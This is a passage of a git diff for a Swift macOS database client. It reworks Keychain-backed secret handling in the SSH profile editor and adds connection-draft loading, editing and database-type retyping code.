.onChange(of: totpSecret.text) { _ in testSucceeded = false } .onChange(of: jumpHosts) { _ in testSucceeded = false } .onDisappear { testTask?.cancel() @@ -143,11 +152,12 @@ struct SSHProfileEditorView: View { Section(String(localized: "Authentication")) { Picker(String(localized: "Method"), selection: $authMethod) { ForEach(SSHAuthMethod.allCases) { method in - Text(method.rawValue).tag(method) + Text(method.displayName).tag(method) } } if authMethod == .password { - SecureField(String(localized: "Password"), text: $sshPassword) + SecureField(String(localized: "Password"), text: $password.text) + StoredSecretNotice(draft: $password) } else if authMethod == .sshAgent { Picker(String(localized: "Agent Socket"), selection: $agentSocketOption) { ForEach(SSHAgentSocketOption.allCases) { option in @@ -167,8 +177,7 @@ struct SSHProfileEditorView: View { LabeledContent(String(localized: "Identity File")) { HStack { TextField("", text: $privateKeyPath, prompt: Text("~/.ssh/id_ed25519.pub")) - Button(String(localized: "Browse")) { browseForPrivateKey() } - .controlSize(.small) + Button(String(localized: "Browse…")) { browseForPrivateKey() } } } Text(String(localized: """ @@ -178,7 +187,8 @@ struct SSHProfileEditorView: View { .font(.caption) .foregroundStyle(.secondary) } else if authMethod == .keyboardInteractive { - SecureField(String(localized: "Password"), text: $sshPassword) + SecureField(String(localized: "Password"), text: $password.text) + StoredSecretNotice(draft: $password) Text(String(localized: "Password is sent via keyboard-interactive challenge-response.")) .font(.caption) .foregroundStyle(.secondary) @@ -190,11 +200,11 @@ struct SSHProfileEditorView: View { LabeledContent(String(localized: "Key File")) { HStack { TextField("", text: $privateKeyPath, prompt: Text("~/.ssh/id_rsa")) - Button(String(localized: "Browse")) { browseForPrivateKey() } - .controlSize(.small) + Button(String(localized: "Browse…")) { browseForPrivateKey() } } } - SecureField(String(localized: "Passphrase"), text: $keyPassphrase) + SecureField(String(localized: "Passphrase"), text: $keyPassphrase.text) + StoredSecretNotice(draft: $keyPassphrase) } } } @@ -210,8 +220,9 @@ struct SSHProfileEditorView: View { } if totpMode == .autoGenerate { - SecureField(String(localized: "TOTP Secret"), text: $totpSecret) + SecureField(String(localized: "TOTP Secret"), text: $totpSecret.text) .help(String(localized: "Base32-encoded secret from your authenticator setup")) + StoredSecretNotice(draft: $totpSecret) Picker(String(localized: "Algorithm"), selection: $totpAlgorithm) { ForEach(TOTPAlgorithm.allCases) { algo in @@ -259,17 +270,16 @@ struct SSHProfileEditorView: View { } Picker(String(localized: "Auth"), selection: jumpHostBinding.authMethod) { ForEach(SSHJumpAuthMethod.allCases) { method in - Text(method.rawValue).tag(method) + Text(Self.jumpAuthLabel(method)).tag(method) } } if jumpHost.authMethod == .privateKey { LabeledContent(String(localized: "Key File")) { HStack { TextField("", text: jumpHostBinding.privateKeyPath, prompt: Text("~/.ssh/id_rsa")) - Button(String(localized: "Browse")) { + Button(String(localized: "Browse…")) { browseForJumpHostKey(jumpHost: jumpHostBinding) } - .controlSize(.small) } } } @@ -286,11 +296,9 @@ struct SSHProfileEditorView: View { let idToRemove = jumpHost.id withMotion { jumpHosts.removeAll { $0.id == idToRemove } } } label: { - Image(systemName: "minus.circle.fill") - .frame(width: 24, height: 24) - .foregroundStyle(.red) + Image(systemName: "minus.circle") } - .buttonStyle(.plain) + .buttonStyle(.borderless) .accessibilityLabel(String(localized: "Remove jump host")) } } @@ -312,31 +320,36 @@ struct SSHProfileEditorView: View { } } + private static func jumpAuthLabel(_ method: SSHJumpAuthMethod) -> String { + switch method { + case .privateKey: String(localized: "Private Key") + case .sshAgent: String(localized: "SSH Agent") + } + } + // MARK: - Bottom Bar private var bottomBar: some View { HStack { - if isStoredProfile { + if isStored { Button(role: .destructive) { + let profileId = existingProfile?.id connectionsUsingProfile = ConnectionStorage.shared.loadConnections() - .filter { connection in - guard case .profile(let id, _) = connection.sshTunnelMode else { return false } - return id == existingProfile?.id - } + .filter { connection in profileId.map { connection.isLinked(toSSHProfile: $0) } ?? false } .count showingDeleteConfirmation = true } label: { Text("Delete Profile") } .alert( - "Delete SSH Profile?", + String(localized: "Delete SSH Profile?"), isPresented: $showingDeleteConfirmation ) { - Button("Delete", role: .destructive) { deleteProfile() } - Button("Cancel", role: .cancel) {} + Button(String(localized: "Delete"), role: .destructive) { deleteProfile() } + Button(String(localized: "Cancel"), role: .cancel) {} } message: { if connectionsUsingProfile > 0 { - Text("\(connectionsUsingProfile) connection(s) use this profile. They keep this configuration as their own SSH tunnel.") + Text("Used by ^[\(connectionsUsingProfile) connection](inflect: true). Each keeps this configuration as its own SSH tunnel.") } else { Text("This profile will be permanently deleted.") } @@ -366,7 +379,7 @@ struct SSHProfileEditorView: View { if let saveError { NoticeLabel(saveError, severity: .error) .font(.caption) - .lineLimit(2) + .lineLimit(3) .truncationMode(.tail) } else if testSucceeded { NoticeLabel(String(localized: "Connected"), severity: .success) @@ -380,10 +393,10 @@ struct SSHProfileEditorView: View { Spacer() - Button("Cancel") { dismiss() } + Button(String(localized: "Cancel")) { dismiss() } .keyboardShortcut(.cancelAction) - Button(isStoredProfile ? "Save" : "Create") { saveProfile() } + Button(isStored ? String(localized: "Save") : String(localized: "Create")) { saveProfile() } .keyboardShortcut(.defaultAction) .disabled(!isValid) } @@ -394,6 +407,7 @@ struct SSHProfileEditorView: View { private func loadExistingProfile() { guard let profile = existingProfile else { return } + isStored = storage.profile(for: profile.id) != nil profileName = profile.name host = profile.host port = profile.port.map(String.init) ?? "" @@ -412,17 +426,24 @@ struct SSHProfileEditorView: View { customAgentSocketPath = profile.agentSocketPath } - // Load secrets from Keychain, falling back to initial values (e.g. from "Save as Profile") - sshPassword = SSHProfileStorage.shared.loadSSHPassword(for: profile.id) ?? initialPassword ?? "" - keyPassphrase = SSHProfileStorage.shared.loadKeyPassphrase(for: profile.id) ?? initialKeyPassphrase ?? "" - totpSecret = SSHProfileStorage.shared.loadTOTPSecret(for: profile.id) ?? initialTOTPSecret ?? "" + // The fallbacks are what "Save Current as Profile" carries over from the inline tunnel. + password = StoredSecretDraft( + stored: storage.storedSecret(.password, for: profile.id), + fallback: initialPassword + ) + keyPassphrase = StoredSecretDraft( + stored: storage.storedSecret(.keyPassphrase, for: profile.id), + fallback: initialKeyPassphrase + ) + totpSecret = StoredSecretDraft( + stored: storage.storedSecret(.totpSecret, for: profile.id), + fallback: initialTOTPSecret + ) } private func saveProfile() { - let profileId = existingProfile?.id ?? UUID() - let profile = SSHProfile( - id: profileId, + id: existingProfile?.id ?? UUID(), name: profileName.trimmingCharacters(in: .whitespaces), host: host, port: Int(port), @@ -437,39 +458,32 @@ struct SSHProfileEditorView: View { totpPeriod: totpPeriod ) - let persisted = isStoredProfile - ? SSHProfileStorage.shared.updateProfile(profile) - : SSHProfileStorage.shared.addProfile(profile) + let outcome = storage.save(profile, isNew: !isStored, secrets: [ + .password: password.change(inUse: usesPassword), + .keyPassphrase: keyPassphrase.change(inUse: authMethod == .privateKey), + .totpSecret: totpSecret.change(inUse: totpMode == .autoGenerate), + ]) - /// The keychain writes below are keyed by the profile id, so running them for a profile - /// that never reached disk would leave secrets nothing can name. Dismissing would also - /// report a save that did not happen. - guard persisted else { + switch outcome { + case .recordNotSaved: saveError = String(localized: "Could not save the profile. Reopen the SSH settings and try again.") - return - } - saveError = nil - - if (authMethod == .password || authMethod == .keyboardInteractive) && !sshPassword.isEmpty { - SSHProfileStorage.shared.saveSSHPassword(sshPassword, for: profileId) - } else { - SSHProfileStorage.shared.deleteSSHPassword(for: profileId) - } - - if authMethod == .privateKey && !keyPassphrase.isEmpty { - SSHProfileStorage.shared.saveKeyPassphrase(keyPassphrase, for: profileId) - } else { - SSHProfileStorage.shared.deleteKeyPassphrase(for: profileId) + case .secretsNotSaved(let kinds): + // The record exists now, so a retry has to update it rather than add a second one. + isStored = true + saveError = StoredSecretCopy.notStoredMessage(kinds.map(Self.secretName)) + case .saved: + saveError = nil + onSave?(profile) + dismiss() } + } - if totpMode == .autoGenerate && !totpSecret.isEmpty { - SSHProfileStorage.shared.saveTOTPSecret(totpSecret, for: profileId) - } else { - SSHProfileStorage.shared.deleteTOTPSecret(for: profileId) + private static func secretName(_ kind: SSHProfileStorage.SecretKind) -> String { + switch kind { + case .password: String(localized: "the password") + case .keyPassphrase: String(localized: "the key passphrase") + case .totpSecret: String(localized: "the TOTP secret") } - - onSave?(profile) - dismiss() } func testSSHConnection() { @@ -493,9 +507,9 @@ struct SSHProfileEditorView: View { ) let credentials = SSHTunnelCredentials( - sshPassword: sshPassword.isEmpty ? nil : sshPassword, - keyPassphrase: keyPassphrase.isEmpty ? nil : keyPassphrase, - totpSecret: totpSecret.isEmpty ? nil : totpSecret, + sshPassword: password.text.isEmpty ? nil : password.text, + keyPassphrase: keyPassphrase.text.isEmpty ? nil : keyPassphrase.text, + totpSecret: totpSecret.text.isEmpty ? nil : totpSecret.text, keyboardInteractivePromptProvider: nil ) @@ -522,7 +536,7 @@ struct SSHProfileEditorView: View { private func deleteProfile() { guard let profile = existingProfile else { return } - guard SSHProfileStorage.shared.deleteProfile(profile) else { + guard storage.deleteProfile(profile) else { saveError = String(localized: "Could not delete the profile. Reopen the SSH settings and try again.") return } @@ -565,3 +579,58 @@ struct SSHProfileEditorView: View { } } } + +// MARK: - Shared by the profile sheets + +struct ProfileSheetHeader: View { + let title: String + let subtitle: String + + var body: some View { + VStack(alignment: .leading, spacing: 2) { + Text(title) + .font(.headline) + .accessibilityAddTraits(.isHeader) + Text(subtitle) + .font(.subheadline) + .foregroundStyle(.secondary) + .fixedSize(horizontal: false, vertical: true) + } + .frame(maxWidth: .infinity, alignment: .leading) + .padding(20) + } +} + +// Shown under a secret field whose saved value the Keychain would not return. +struct StoredSecretNotice: View { + @Binding var draft: StoredSecretDraft + + var body: some View { + if draft.showsUnreadableNotice { + LabeledContent { + if draft.removesUnreadable { + Button(String(localized: "Keep")) { draft.removesUnreadable = false } + } else { + Button(String(localized: "Remove")) { draft.removesUnreadable = true } + } + } label: { + NoticeLabel( + draft.removesUnreadable + ? String(localized: "The saved value is removed when you save.") + : String(localized: "The Keychain could not read the saved value, so it is not shown. Saving keeps it unless you type a new one.") + ) + .font(.caption) + } + } + } +} + +enum StoredSecretCopy { + static func notStoredMessage(_ names: [String]) -> String { + let list = ListFormatter.localizedString(byJoining: names) + let template = names.count == 1 + ? String(localized: "The profile was saved, but the Keychain could not store %@. Enter it again and click Save.") + : String(localized: "The profile was saved, but the Keychain could not store %@. Enter them again and click Save.") + return String(format: template, list) + } +} diff --git a/apple/TablePro/Views/Connection/TypeChooser/DatabaseTypeChooserModel.swift b/apple/TablePro/Views/Connection/TypeChooser/DatabaseTypeChooserModel.swift index 29704e50b4..f52e56fb3f 100644 --- a/apple/TablePro/Views/Connection/TypeChooser/DatabaseTypeChooserModel.swift +++ b/apple/TablePro/Views/Connection/TypeChooser/DatabaseTypeChooserModel.swift @@ -3,6 +3,7 @@ // TablePro // +import AppKit import Combine import Foundation @@ -47,20 +48,13 @@ final class DatabaseTypeChooserModel: ObservableObject { .sorted { $0.category.sortOrder < $1.category.sortOrder } } - /// The rows as the list draws them, which is category order and then alphabetical, not the - /// order `filteredTypes` happens to produce. Arrowing has to follow what is on screen. + // Arrowing follows the rows as drawn: category order, then alphabetical. var orderedTypes: [DatabaseType] { groupedTypes.flatMap(\.types) } - /// The match a query most plausibly meant, or nil when the query matched nothing. - /// - /// Ranked, and that is the whole point: the filter also matches taglines and category names, so - /// the first row on screen is routinely not the best answer. "PostgreSQL" matches CockroachDB - /// ("Distributed SQL, PostgreSQL-compatible") and PGlite, and CockroachDB sorts ahead of - /// PostgreSQL alphabetically inside Relational. Arming the first row would let Return commit a - /// driver the user never looked at, and on an existing connection a type change resets its - /// credentials, SSL, driver options and transport. + // Ranked, not the first row: the filter matches taglines too, so "PostgreSQL" puts CockroachDB on top + // and Return would commit a driver the user never looked at. var bestMatch: DatabaseType? { let trimmed = searchText.trimmingCharacters(in: .whitespacesAndNewlines).lowercased() guard !trimmed.isEmpty else { return nil } @@ -89,12 +83,53 @@ final class DatabaseTypeChooserModel: ObservableObject { highlightedType = items[target] } - /// Keeps a highlight the query still shows, and otherwise arms the best match, or nothing. - /// - /// Never falls back to the first row: a query that matched only taglines leaves the highlight - /// nil and Continue dimmed, which is correct, because no row is a defensible default there. + // Never falls back to the first row: a tagline-only query leaves nothing armed and Continue dimmed. private func settleHighlight() { if let current = highlightedType, orderedTypes.contains(current) { return } highlightedType = bestMatch } } + +// The check Welcome runs after the chooser (WelcomeViewModel+ConnectionCreation), shared so a type change +// inside the editor asks the same question before it applies. +@MainActor +internal enum DatabaseTypeInstallCheck { + internal enum Requirement: Equatable, Sendable { + case ready + case install + } + + // A bundled driver that did not load is disabled or damaged: no download fixes it, the connect says which. + nonisolated internal static func requirement(isInstalled: Bool, isDownloadable: Bool) -> Requirement { + !isInstalled && isDownloadable ? .install : .ready + } + + internal static func requirement(for type: DatabaseType) -> Requirement { + requirement( + isInstalled: PluginManager.shared.isDriverInstalled(for: type), + isDownloadable: type.isDownloadablePlugin + ) + } + + // True when the type can be used now: installed already, or the user agreed and the install finished. + internal static func ensureInstalled(_ type: DatabaseType, window: NSWindow?) async -> Bool { + if !PluginManager.shared.isDriverInstalled(for: type) { + await PluginManager.shared.waitForInitialLoad() + } + guard requirement(for: type) == .install else { return true } + + let confirmed = await AlertHelper.confirm( + title: String(localized: "Plugin Not Installed"), + message: String( + format: String(localized: "The %@ plugin is not installed. Would you like to install it?"), + type.displayName + ), + confirmButton: String(localized: "Install"), + window: window + ) + guard confirmed else { return false } + return await PluginInstallPrompt.run(pluginName: type.displayName, window: window) { onBegin in + try await PluginManager.shared.installMissingPlugin(for: type, onBegin: onBegin) + } + } +} diff --git a/apple/TablePro/Views/Connection/TypeChooser/DatabaseTypeChooserSheet.swift b/apple/TablePro/Views/Connection/TypeChooser/DatabaseTypeChooserSheet.swift index 268b6269a3..4007d21cdc 100644 --- a/apple/TablePro/Views/Connection/TypeChooser/DatabaseTypeChooserSheet.swift +++ b/apple/TablePro/Views/Connection/TypeChooser/DatabaseTypeChooserSheet.swift @@ -34,8 +34,7 @@ struct DatabaseTypeChooserSheet: View { Divider() footer } - // Pinned width, flexible height: the HIG allows a resizable sheet when people may want to - // expand the list, while keeping the sensible default size. + // Pinned width, flexible height: the HIG allows a resizable sheet when people may want a longer list. .frame(minWidth: 560, maxWidth: 560, minHeight: 440, idealHeight: 520, maxHeight: 860) .onAppear { model.preselect(initialType) @@ -54,16 +53,14 @@ struct DatabaseTypeChooserSheet: View { Spacer() - /// Arrow keys are handed over by the search field's own `NSSearchFieldDelegate`, which - /// is the only route: a focused field editor consumes them as `doCommandBySelector:` - /// before `onMoveCommand` or `onKeyPress` can see them, and `searchFocused` is - /// macOS 15. `onSubmit` stays unwired, or Return would commit through both the field - /// editor and Continue's `.defaultAction`. + // The field editor eats arrows before onMoveCommand sees them, so the delegate hands them over. + // onSubmit stays unwired: Return already reaches Continue's .defaultAction. NativeSearchField( text: $model.searchText, placeholder: String(localized: "Search"), onMoveUp: { model.moveHighlight(by: -1) }, onMoveDown: { model.moveHighlight(by: 1) }, + focusOnAppear: true, accessibilityIdentifier: "database-type-chooser-search" ) .frame(width: 180) @@ -178,6 +175,7 @@ internal struct DatabaseTypeChooserRow: View { if isCurrent { Image(systemName: "checkmark") .selectionAwareTint(Color.accentColor) + .accessibilityLabel(Text("Current type")) } if shouldShowNotInstalledBadge { @@ -186,6 +184,7 @@ internal struct DatabaseTypeChooserRow: View { .foregroundStyle(.secondary) } } + .accessibilityElement(children: .combine) } private var shouldShowNotInstalledBadge: Bool { diff --git a/apple/TablePro/Views/ConnectionForm/Engine/ConnectionDraft+Load.swift b/apple/TablePro/Views/ConnectionForm/Engine/ConnectionDraft+Load.swift new file mode 100644 index 0000000000..91ddc65481 --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Engine/ConnectionDraft+Load.swift @@ -0,0 +1,208 @@ +// +// ConnectionDraft+Load.swift +// TablePro +// + +import Foundation +import TableProConnectionLibrary +import TableProPluginKit +import TableProRedisCore +import TableProSSHConfig + +extension ConnectionDraft { + // Every section's plugin defaults are seeded here, once, for a new connection. + static func new(type: DatabaseType, traits: ConnectionTypeTraits) -> ConnectionDraft { + var draft = ConnectionDraft(type: type) + draft.host = traits.defaultHost ?? "" + draft.portText = traits.defaultPortText + draft.fieldValues = traits.defaultValues() + if let hostList = traits.fields.endpointHostList, draft.fieldValues[hostList.id] == nil { + draft.fieldValues[hostList.id] = HostListEndpoint.parse(draft.host, defaultPort: traits.defaultPort)?.entry + } + draft.ssl.mode = traits.ssl.defaultMode + draft.ssl.origin = .typeDefault + return draft + } + + static func loaded( + from connection: DatabaseConnection, + secrets: DraftSecrets, + traits: ConnectionTypeTraits, + sshConfigEntries: [SSHConfigEntry] = [] + ) -> ConnectionDraft { + var draft = ConnectionDraft(type: connection.type) + let fields = connection.additionalFields + draft.name = connection.name + draft.environment = fields[ConnectionEnvironment.fieldKey].flatMap(ConnectionEnvironment.init(rawValue:)) ?? .none + draft.host = connection.host + draft.portText = connection.port > 0 ? String(connection.port) : "" + draft.database = connection.database + if traits.socketForwardApplies { + draft.sshForwardUnixSocketPath = fields[DatabaseConnection.sshForwardUnixSocketPathKey] ?? "" + } + + draft.fieldValues = loadedFieldValues(from: connection, secrets: secrets, traits: traits) + + draft.credentials.mode = connection.credentialMode + draft.credentials.username = connection.username + draft.credentials.password = secrets.password ?? "" + draft.credentials.storedPasswordState = secrets.passwordState + draft.credentials.promptsForPassword = connection.promptForPassword + draft.credentials.passwordSource = connection.passwordSource + + draft.loadTransports(from: connection, secrets: secrets, traits: traits, sshConfigEntries: sshConfigEntries) + + draft.ssl.mode = connection.sslConfig.mode + draft.ssl.origin = connection.sslConfig.mode == traits.ssl.defaultMode ? .typeDefault : .chosen + draft.ssl.caCertPath = connection.sslConfig.caCertificatePath + draft.ssl.clientCertPath = connection.sslConfig.clientCertificatePath + draft.ssl.clientKeyPath = connection.sslConfig.clientKeyPath + draft.ssl.clientKeyPassphrase = secrets.sslClientKeyPassphrase ?? "" + + draft.options.connectTimeoutSeconds = connection.connectTimeoutSeconds + draft.options.queryTimeoutSeconds = connection.queryTimeoutSeconds + draft.options.binaryInlineLimitKilobytes = connection.binaryInlineLimitKilobytes + draft.options.completionIdentifierCase = connection.completionIdentifierCase + draft.options.startupCommands = connection.startupCommands ?? "" + draft.options.preConnectScript = connection.preConnectScript ?? "" + draft.options.postDisconnectScript = connection.postDisconnectScript ?? "" + draft.options.scriptTimeoutSeconds = connection.scriptTimeoutSeconds + draft.options.localOnly = connection.localOnly + + draft.safety.safeModeLevel = connection.preferredSafeModeLevel + draft.safety.userSetSafeMode = true + draft.safety.commitMode = connection.commitMode + draft.safety.maskingRules = connection.maskingRules + + draft.ai.policy = connection.aiPolicy + draft.ai.rules = connection.aiRules ?? "" + draft.ai.externalAccess = connection.externalAccess + draft.ai.alwaysAllowedTools = connection.aiAlwaysAllowedTools.sorted() + + draft.appearance.color = connection.color + draft.appearance.iconName = LibrarySymbolCatalog.normalizedName(connection.iconName) + draft.appearance.tagIds = connection.tagIds + draft.appearance.groupId = connection.groupId + + return ConnectionEditorEngine.normalized(draft, traits) + } + + // Declared fields only: undeclared keys stay in the record and the merge keeps them. + private static func loadedFieldValues( + from connection: DatabaseConnection, + secrets: DraftSecrets, + traits: ConnectionTypeTraits + ) -> [String: String] { + let stored = connection.additionalFields + var values: [String: String] = [:] + for field in traits.fields { + if field.isSecure { + values[field.id] = secrets.pluginSecureFields[field.id] ?? "" + } else if let value = stored[field.id] { + values[field.id] = value + } else if let defaultValue = field.defaultValue { + values[field.id] = defaultValue + } + } + if let sessionToken = secrets.pluginSecureFields[ConnectionSecretOptions.mongoSessionTokenFieldId] { + values[ConnectionSecretOptions.mongoSessionTokenFieldId] = sessionToken + } + if traits.field(RedisDatabaseIndex.fieldName) != nil { + values[RedisDatabaseIndex.fieldName] = String(connection.configuredRedisDatabaseIndex) + } + // A file-backed driver with its own path field reads `database` when the field is empty. + if case .additionalField(let pathFieldId) = traits.localFilePathField, + (values[pathFieldId] ?? "").isEmpty, + !connection.database.isEmpty { + values[pathFieldId] = connection.database + } + if let hostList = traits.fields.endpointHostList { + values[hostList.id] = ConnectionEditorEngine.endpointList( + values[hostList.id] ?? "", + host: connection.host, + port: connection.port, + traits: traits + ) + } + return values + } + + private mutating func loadTransports( + from connection: DatabaseConnection, + secrets: DraftSecrets, + traits: ConnectionTypeTraits, + sshConfigEntries: [SSHConfigEntry] + ) { + var sshEnabled = false + switch connection.sshTunnelMode { + case .disabled: + break + case .inline(let config): + sshEnabled = true + ssh.populateFields(from: config, configEntries: sshConfigEntries) + ssh.remoteFilePath = config.remoteFilePath + ssh.remoteFileAccess = config.remoteFileAccess + case .profile(let id, let snapshot): + sshEnabled = true + ssh.profileId = id + ssh.profileSnapshot = snapshot + ssh.populateFields(from: snapshot, configEntries: sshConfigEntries) + ssh.remoteFilePath = connection.sshConfig.remoteFilePath + ssh.remoteFileAccess = connection.sshConfig.remoteFileAccess + } + ssh.password = secrets.sshPassword ?? "" + ssh.keyPassphrase = secrets.sshKeyPassphrase ?? "" + ssh.totpSecret = secrets.totpSecret ?? "" + ssh.storedPasswordState = secrets.sshPasswordState + ssh.storedKeyPassphraseState = secrets.sshKeyPassphraseState + + var cloudflareEnabled = false + if case .inline(let config) = connection.cloudflareTunnelMode { + cloudflareEnabled = true + cloudflare.populateFields(from: config) + } + cloudflare.serviceTokenId = secrets.cloudflareTokenId ?? "" + cloudflare.serviceTokenSecret = secrets.cloudflareTokenSecret ?? "" + + var cloudSQLEnabled = false + if case .inline(let config) = connection.cloudSQLProxyMode { + cloudSQLEnabled = true + cloudSQLProxy.populateFields(from: config) + } + cloudSQLProxy.serviceAccountKeyJSON = secrets.cloudSQLServiceAccountKey ?? "" + + var socksEnabled = false + if case .inline(let config) = connection.socksProxyMode { + socksEnabled = true + socksProxy.host = config.host + socksProxy.port = String(config.port) + socksProxy.username = config.username + } + socksProxy.password = secrets.socksPassword ?? "" + + var tunnelCommandEnabled = false + if case .inline(let config) = connection.tunnelCommandMode { + tunnelCommandEnabled = true + tunnelCommand.config = config + } + + // An older build could store two transports; the first one wins, as the connect path reads it. + if sshEnabled { + transport = traits.supportsRemoteDatabaseFile ? .remoteFile : .ssh + } else if cloudflareEnabled { + transport = .cloudflare + } else if cloudSQLEnabled { + transport = .cloudSQLProxy + } else if socksEnabled { + transport = .socksProxy + } else if tunnelCommandEnabled { + transport = .tunnelCommand + } + + let socketPath = MySQLLocalSocket.path(in: connection.additionalFields) + if traits.supportsLocalSocket, transport == nil, let socketPath { + endpoint = .localSocket + localSocketPath = socketPath + } + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Engine/ConnectionDraft+Mutations.swift b/apple/TablePro/Views/ConnectionForm/Engine/ConnectionDraft+Mutations.swift new file mode 100644 index 0000000000..f3e9142e74 --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Engine/ConnectionDraft+Mutations.swift @@ -0,0 +1,159 @@ +// +// ConnectionDraft+Mutations.swift +// TablePro +// + +import Foundation +import TableProPluginKit +import TableProSSHConfig + +// Each coupled edit is one method, so two fields never resolve against the same stale value. +extension ConnectionDraft { + mutating func setPort(_ text: String, traits: ConnectionTypeTraits) { + portText = text + reconcileSSLWithPort(traits: traits) + } + + mutating func reconcileSSLWithPort(traits: ConnectionTypeTraits) { + guard ssl.origin != .chosen else { return } + let resolution = traits.ssl.resolution(forPort: ConnectionEditorEngine.resolvedPort(self, traits)) + ssl.mode = resolution.mode + ssl.origin = resolution.origin + } + + mutating func selectSSLMode(_ mode: SSLMode) { + ssl.mode = mode + ssl.origin = .chosen + } + + mutating func applyImportedSSL(_ resolution: SSLModeResolution) { + ssl.mode = resolution.mode + ssl.origin = resolution.origin + } + + // One transport at a time; values a transport owns leave with it when nothing else can reach them. + mutating func selectTransport(_ kind: ConnectionTunnelKind?) { + transport = kind + if kind != .remoteFile { + ssh.remoteFilePath = "" + } + if kind != .ssh { + sshForwardUnixSocketPath = "" + } + } + + // No tunnel reaches a socket file on this Mac, so Socket clears the transport in the same edit. + mutating func selectEndpoint(_ newEndpoint: Endpoint) { + guard newEndpoint != endpoint else { return } + endpoint = newEndpoint + if newEndpoint == .localSocket { + selectTransport(nil) + } + } + + // Ask Every Time contradicts a stored password and any toggle that supplies the password another way. + mutating func setPasswordPrompt(_ prompts: Bool, traits: ConnectionTypeTraits) { + credentials.promptsForPassword = prompts + guard prompts else { return } + credentials.password = "" + for field in traits.fields where field.section == .authentication && field.hidesPassword { + if case .toggle = field.fieldType, fieldValues[field.id] == "true" { + fieldValues[field.id] = "" + } + } + } + + mutating func setCredentialMode(_ mode: CredentialMode) { + credentials.mode = mode + } + + mutating func setEnvironment(_ newEnvironment: ConnectionEnvironment) { + environment = newEnvironment + guard !safety.userSetSafeMode else { return } + safety.safeModeLevel = Self.defaultSafeModeLevel(for: newEnvironment) + } + + static func defaultSafeModeLevel(for environment: ConnectionEnvironment) -> SafeModeLevel { + environment == .production ? .alert : .silent + } + + // Picking the level a floor already shows keeps the saved choice, which comes back once the floor lifts. + mutating func setSafeModeLevel(_ level: SafeModeLevel, floor: SafeModeFloor?) { + let effective = floor?.raising(safety.safeModeLevel) ?? safety.safeModeLevel + guard level != effective else { return } + safety.safeModeLevel = level + safety.userSetSafeMode = true + } + + mutating func setManualCommit(_ enabled: Bool, traits: ConnectionTypeTraits) { + guard traits.manualCommitAvailable else { return } + safety.commitMode = enabled ? .manual : .automatic + } + + mutating func setFieldValue(_ value: String, for fieldID: String) { + fieldValues[fieldID] = value + } + + mutating func forgetAlwaysAllowed(_ tool: String) { + ai.alwaysAllowedTools.removeAll { $0 == tool } + ai.revokedTools.insert(tool) + } + + @discardableResult + mutating func addMaskingRule() -> UUID { + let rule = MaskingRule(pattern: "") + safety.maskingRules.append(rule) + return rule.id + } + + mutating func removeMaskingRule(id: UUID) { + safety.maskingRules.removeAll { $0.id == id } + } + + mutating func updateMaskingRule(_ rule: MaskingRule) { + guard let index = safety.maskingRules.firstIndex(where: { $0.id == rule.id }) else { return } + safety.maskingRules[index] = rule + } + + mutating func selectSSHProfile(_ id: UUID?, profiles: [SSHProfile]) { + ssh.profileId = id + if let id, let profile = profiles.first(where: { $0.id == id }) { + ssh.profileSnapshot = profile.toSSHConfiguration() + } + } + + mutating func selectSSHConfigHost(_ host: String) { + ssh.selectedConfigHost = host + if !host.isEmpty { + ssh.host = host + } + } + + @discardableResult + mutating func addJumpHost() -> UUID { + let jumpHost = SSHJumpHost() + ssh.jumpHosts.append(jumpHost) + return jumpHost.id + } + + mutating func removeJumpHost(id: UUID) { + ssh.jumpHosts.removeAll { $0.id == id } + } + + mutating func updateJumpHost(_ jumpHost: SSHJumpHost) { + guard let index = ssh.jumpHosts.firstIndex(where: { $0.id == jumpHost.id }) else { return } + ssh.jumpHosts[index] = jumpHost + } + + mutating func moveJumpHosts(fromOffsets source: IndexSet, toOffset destination: Int) { + let moving = source.sorted() + guard !moving.isEmpty, moving.allSatisfy({ ssh.jumpHosts.indices.contains($0) }) else { return } + let moved = moving.map { ssh.jumpHosts[$0] } + let shift = moving.filter { $0 < destination }.count + for index in moving.reversed() { + ssh.jumpHosts.remove(at: index) + } + let insertion = min(max(destination - shift, 0), ssh.jumpHosts.count) + ssh.jumpHosts.insert(contentsOf: moved, at: insertion) + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Engine/ConnectionDraft+Retype.swift b/apple/TablePro/Views/ConnectionForm/Engine/ConnectionDraft+Retype.swift new file mode 100644 index 0000000000..19195b26a1 --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Engine/ConnectionDraft+Retype.swift @@ -0,0 +1,172 @@ +// +// ConnectionDraft+Retype.swift +// TablePro +// + +import Foundation +import TableProConnectionLibrary +import TableProPluginKit + +struct RetypeProposal: Equatable, Sendable { + let from: DatabaseType + let to: DatabaseType + // User-facing names of the values the new type cannot hold, for the confirmation. + let dropped: [String] + let result: ConnectionDraft + + var needsConfirmation: Bool { !dropped.isEmpty } +} + +extension ConnectionDraft { + // One keep-list decides: whatever the new type supports stays, the rest comes from the new type's defaults. + func retyped(to newTraits: ConnectionTypeTraits, from oldTraits: ConnectionTypeTraits) -> RetypeProposal { + var next = ConnectionDraft.new(type: newTraits.type, traits: newTraits) + next.name = name + next.environment = environment + next.appearance = appearance + next.safety = safety + next.ai = ai + next.options = options + next.ssh = ssh + next.cloudflare = cloudflare + next.cloudSQLProxy = cloudSQLProxy + next.socksProxy = socksProxy + next.tunnelCommand = tunnelCommand + + let keepsNetworkValues = oldTraits.connectionMode == .network && newTraits.connectionMode == .network + keepEndpoint(into: &next, keepsNetworkValues: keepsNetworkValues, newTraits: newTraits, oldTraits: oldTraits) + keepCredentials(into: &next, newTraits: newTraits) + next.fieldValues.merge(carriedFieldValues(newTraits: newTraits, oldTraits: oldTraits)) { _, carried in carried } + if let hostList = newTraits.fields.endpointHostList, oldTraits.field(hostList.id) == nil { + next.fieldValues[hostList.id] = HostListEndpoint.parse( + ConnectionEditorEngine.resolvedHost(next, newTraits), + defaultPort: ConnectionEditorEngine.resolvedPort(next, newTraits) + )?.entry + } + keepTransport(into: &next, newTraits: newTraits) + keepSSL(into: &next, newTraits: newTraits) + + return RetypeProposal( + from: type, + to: newTraits.type, + dropped: droppedValues(next: next, oldTraits: oldTraits), + result: next + ) + } + + mutating func retype(to newTraits: ConnectionTypeTraits, from oldTraits: ConnectionTypeTraits) { + self = retyped(to: newTraits, from: oldTraits).result + } + + private func keepEndpoint( + into next: inout ConnectionDraft, + keepsNetworkValues: Bool, + newTraits: ConnectionTypeTraits, + oldTraits: ConnectionTypeTraits + ) 